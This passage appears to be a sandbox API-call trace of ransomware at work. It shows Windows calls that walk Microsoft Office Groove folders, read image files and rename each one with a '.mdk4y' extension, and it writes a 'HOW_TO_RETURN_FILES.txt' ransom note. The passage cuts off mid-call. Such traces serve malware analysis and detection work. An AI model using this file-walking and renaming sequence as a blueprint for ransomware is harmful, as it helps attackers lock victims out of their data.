hTemplateFile=0x0) returned 0x13c [0215.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829092800000) returned 1 [0215.698] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xca8, lpOverlapped=0x0) returned 1 [0215.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829092900000) returned 1 [0215.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829093000000) returned 1 [0215.700] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp.mdk4y")) returned 1 [0215.701] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.701] AreFileApisANSI () returned 1 [0215.701] GetACP () returned 0x4e4 [0215.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MarkupIconImages.jpg", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="MarkupIconImages.jpg.bmp", lpUsedDefaultChar=0x37dda8) returned 20 [0215.701] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829093200000) returned 1 [0215.702] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x98b, lpOverlapped=0x0) returned 1 [0215.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829093300000) returned 1 [0215.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829093400000) returned 1 [0215.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg.mdk4y")) returned 1 [0215.705] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.705] AreFileApisANSI () returned 1 [0215.705] GetACP () returned 0x4e4 [0215.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MarkupIconImagesMask.bmp", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="MarkupIconImagesMask.bmp", lpUsedDefaultChar=0x37dda8) returned 24 [0215.705] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829093600000) returned 1 [0215.706] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x74, lpOverlapped=0x0) returned 1 [0215.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829093700000) returned 1 [0215.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829093700000) returned 1 [0215.707] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp.mdk4y")) returned 1 [0215.708] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0215.708] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0215.709] AreFileApisANSI () returned 1 [0215.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0215.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.713] GetFileType (hFile=0x130) returned 0x1 [0215.717] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0215.717] AreFileApisANSI () returned 1 [0215.717] GetACP () returned 0x4e4 [0215.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveForms", cchWideChar=11, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrooveFormsentReview", lpUsedDefaultChar=0x37de34) returned 11 [0215.718] AreFileApisANSI () returned 1 [0215.718] GetACP () returned 0x4e4 [0215.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=82, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\㱴瞈㲣瞈鑖瞣_") returned 82 [0215.739] AreFileApisANSI () returned 1 [0215.743] GetACP () returned 0x4e4 [0215.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0215.743] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.751] AreFileApisANSI () returned 1 [0215.751] GetACP () returned 0x4e4 [0215.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0215.751] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.751] AreFileApisANSI () returned 1 [0215.751] GetACP () returned 0x4e4 [0215.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AddToViewArrow.jpg", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AddToViewArrow.jpg47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 18 [0215.751] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829098200000) returned 1 [0215.753] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xbe8, lpOverlapped=0x0) returned 1 [0215.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829098400000) returned 1 [0215.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829098400000) returned 1 [0215.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg.mdk4y")) returned 1 [0215.756] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.756] AreFileApisANSI () returned 1 [0215.756] GetACP () returned 0x4e4 [0215.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AddToViewArrowMask.bmp", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AddToViewArrowMask.bmp28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 22 [0215.756] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829098700000) returned 1 [0215.757] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x924, lpOverlapped=0x0) returned 1 [0215.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829099000000) returned 1 [0215.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829099000000) returned 1 [0215.760] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp.mdk4y")) returned 1 [0215.762] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.762] AreFileApisANSI () returned 1 [0215.762] GetACP () returned 0x4e4 [0215.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="attention.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="attention.gifwMask.bmp", lpUsedDefaultChar=0x37dda8) returned 13 [0215.762] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829099400000) returned 1 [0215.764] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xae8, lpOverlapped=0x0) returned 1 [0215.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829100200000) returned 1 [0215.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829100200000) returned 1 [0215.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\attention.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\attention.gif.mdk4y")) returned 1 [0215.774] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.774] AreFileApisANSI () returned 1 [0215.774] GetACP () returned 0x4e4 [0215.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BG_ADOBE.GIF", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BG_ADOBE.GIFf", lpUsedDefaultChar=0x37dda8) returned 12 [0215.774] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_adobe.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829100500000) returned 1 [0215.775] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x614e, lpOverlapped=0x0) returned 1 [0215.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829103200000) returned 1 [0215.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829103200000) returned 1 [0215.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_adobe.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_adobe.gif.mdk4y")) returned 1 [0215.806] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.806] AreFileApisANSI () returned 1 [0215.806] GetACP () returned 0x4e4 [0215.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Casual.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Casual.gif", lpUsedDefaultChar=0x37dda8) returned 13 [0215.806] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.808] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829103800000) returned 1 [0215.808] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x161d, lpOverlapped=0x0) returned 1 [0215.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829104000000) returned 1 [0215.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829104000000) returned 1 [0215.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Casual.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_casual.gif.mdk4y")) returned 1 [0215.812] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.812] AreFileApisANSI () returned 1 [0215.812] GetACP () returned 0x4e4 [0215.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Country.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Country.gifMask.bmp", lpUsedDefaultChar=0x37dda8) returned 14 [0215.812] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829104400000) returned 1 [0215.814] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x7dd3, lpOverlapped=0x0) returned 1 [0215.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829105800000) returned 1 [0215.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829105800000) returned 1 [0215.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Country.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_country.gif.mdk4y")) returned 1 [0215.832] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.832] AreFileApisANSI () returned 1 [0215.832] GetACP () returned 0x4e4 [0215.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Earthy.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Earthy.giff", lpUsedDefaultChar=0x37dda8) returned 13 [0215.832] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829106400000) returned 1 [0215.834] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x132a, lpOverlapped=0x0) returned 1 [0215.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829109200000) returned 1 [0215.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829109200000) returned 1 [0215.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif.mdk4y")) returned 1 [0215.865] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.865] AreFileApisANSI () returned 1 [0215.865] GetACP () returned 0x4e4 [0215.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_FormsHomePage.gif", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_FormsHomePage.gifmp", lpUsedDefaultChar=0x37dda8) returned 20 [0215.866] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829109700000) returned 1 [0215.867] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xb9b8, lpOverlapped=0x0) returned 1 [0215.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829109900000) returned 1 [0215.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829109900000) returned 1 [0215.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif.mdk4y")) returned 1 [0215.872] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.872] AreFileApisANSI () returned 1 [0215.872] GetACP () returned 0x4e4 [0215.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_FormsHomePageBlank.gif", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: 